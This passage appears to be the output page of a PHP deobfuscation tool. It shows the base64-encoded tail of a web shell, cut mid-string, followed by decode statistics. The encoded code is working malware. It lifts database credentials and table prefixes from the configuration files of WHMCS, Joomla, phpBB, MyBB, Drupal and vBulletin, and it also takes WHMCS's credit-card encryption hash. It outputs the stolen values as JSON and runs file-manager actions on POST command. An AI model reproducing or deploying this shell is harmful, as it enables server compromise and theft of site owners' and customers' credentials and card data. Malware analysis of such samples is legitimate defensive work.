yIsMykKKSwKJ3dobWNzJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZ3VyYXRpb24ucGhwJywKJ2hvc3QnPT5hcnJheSgiL2RiX2hvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VybmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJfcGFzc3dvcmQoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2NjX2VuY3J5cHRpb25faGFzaCc9PmFycmF5KCIvY2NfZW5jcnlwdGlvbl9oYXNoKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ2pvb21sYSc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWd1cmF0aW9uLnBocCcsCidob3N0Jz0+YXJyYXkoIi9cXFwkaG9zdChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9cXFwkZGIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RidXNlcic9PmFycmF5KCIvXFxcJHVzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL1xcXCRwYXNzd29yZChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAoncHJlZml4Jz0+YXJyYXkoIi9cXFwkZGJwcmVmaXgoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopLAoncGhwYmInPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYmhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJuYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2RidXNlcihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJwYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvdGFibGVfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ215YmInPT5hcnJheSgnZmlsZSc9PicvaW5jL2NvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWydob3N0bmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ2RhdGFiYXNlJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWyd0YWJsZV9wcmVmaXgnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopCik7CmlmKCRjbXMgPT0gImRydXBhbCIpewoJJGZpbGUgPSAkY29uZmlnWyRjbXNdWydmaWxlJ107CgkkZmlsZT0kcGF0aC4kZmlsZTsKCWlmKEBpc19maWxlKCRmaWxlKXx8X2hva2lfaXNfZGlyKCRmaWxlLCItZSIpKXsKCX1lbHNlewoJCSRjbXMgPSAnZHJ1cGFsMic7Cgl9Cn0KaWYoJGNtcyA9PSAidmIiKXsKCSRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwoJJGZpbGU9JHBhdGguJGZpbGU7CglpZihAaXNfZmlsZSgkZmlsZSl8fF9ob2tpX2lzX2RpcigkZmlsZSwiLWUiKSl7Cgl9ZWxzZXsKCQkkcGF0aCAuPSAnL2NvcmUnOwoJfQp9CiRkYXRhID0gYXJyYXkoKTsKJHNyY2hfaG9zdCA9ICRjb25maWdbJGNtc11bJ2hvc3QnXVswXTsKJHNyY2hfdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzBdOwokc3JjaF9uYW1lID0gJGNvbmZpZ1skY21zXVsnZGJuYW1lJ11bMF07CiRzcmNoX3B3ID0gJGNvbmZpZ1skY21zXVsnZGJwdyddWzBdOwokcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMF07CiRmaWxlID0gJGNvbmZpZ1skY21zXVsnZmlsZSddOwokY2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMV07CiRjdXNlciA9ICRjb25maWdbJGNtc11bJ2RidXNlciddWzFdOwokY25hbWUgPSAkY29uZmlnWyRjbXNdWydkYm5hbWUnXVsxXTsKJGNwdyA9ICRjb25maWdbJGNtc11bJ2RicHcnXVsxXTsKJGNwcmVmaXggPSAkY29uZmlnWyRjbXNdWydwcmVmaXgnXVsxXTsKaWYoQGlzX2RpcigkcGF0aCl8fF9ob2tpX2lzX2RpcigkcGF0aCkpewokZmlsZT0kcGF0aC4kZmlsZTsKfWVsc2VpZihAaXNfZmlsZSgkcGF0aCl8fF9ob2tpX2lzX2RpcigkcGF0aCwiLWUiKSl7CiRmaWxlPSRwYXRoOwp9ZWxzZXsKcmV0dXJuIGZhbHNlOwp9CiRmaWxlID0gX19yZWFkX2ZpbGUoJGZpbGUpOwppZigkY21zID09ICJkcnVwYWwyIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL1xAY29kZSguKj8pXEBlbmRjb2RlL3MiLCAiIiwgJGZpbGUpOwp9ZWxzZWlmKCRjbXMgPT0gInZiIil7CgkkZmlsZSA9IHByZWdfcmVwbGFjZSgiL3JpZ2h0IG9mIHRoZSguKj8pQkFEIS9zIiwgIiIsICRmaWxlKTsKfQppZihwcmVnX21hdGNoKCRzcmNoX2hvc3QsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnaG9zdCddID0gJG1hY2hbJGNob3N0XTsKfQppZihwcmVnX21hdGNoKCRzcmNoX3VzZXIsICRmaWxlLCAkbWFjaCkpewokZGF0YVsndXNlciddID0gJG1hY2hbJGN1c2VyXTsKfQppZihwcmVnX21hdGNoKCRzcmNoX25hbWUsICRmaWxlLCAkbWFjaCkpewokZGF0YVsnZGJuYW1lJ10gPSAkbWFjaFskY25hbWVdOwp9CmlmKHByZWdfbWF0Y2goJHNyY2hfcHcsICRmaWxlLCAkbWFjaCkpewokZGF0YVsncGFzc3dvcmQnXSA9ICRtYWNoWyRjcHddOwp9CmlmKGlzc2V0KCRwcmVmaXgpKXsKaWYocHJlZ19tYXRjaCgkcHJlZml4LCAkZmlsZSwgJG1hY2gpKXsKJGRhdGFbJ3ByZWZpeCddID0gJG1hY2hbJGNwcmVmaXhdOwp9Cn0KaWYoJGNtcz09J3dobWNzJyl7CmlmKHByZWdfbWF0Y2goJGNvbmZpZ1skY21zXVsnY2NfZW5jcnlwdGlvbl9oYXNoJ11bMF0sICRmaWxlLCAkbWFjaCkpewokZGF0YVsnY2NfZW5jcnlwdGlvbl9oYXNoJ10gPSAkbWFjaFszXTsKfQp9CmVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOwp9CmlmKGVtcHR5KCRfUE9TVFsnYSddKSkKaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2hva2knIC4gJGRlZmF1bHRfYWN0aW9uKSkKJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247CmVsc2UKJF9QT1NUWydhJ10gPSAnRmlsZXNNYW4yJzsvLydGaWxlc01hbic7CmlmKCFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdob2tpJyAuICRfUE9TVFsnYSddKSkKY2FsbF91c2VyX2Z1bmMoJ2hva2knIC4gJF9QT1NUWydhJ10pOwpleGl0OwovKgojSW5kb25lc2lhbiBHdWxmIEZvciBFdmVyCiN0ZWxlZ3JhbToga2lzZXJ5b3VuaQoqLw==')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 8a7ed6203182e15613d70c43cdf9a849 |
Eval Count | 1 |
Decode Time | 934 ms |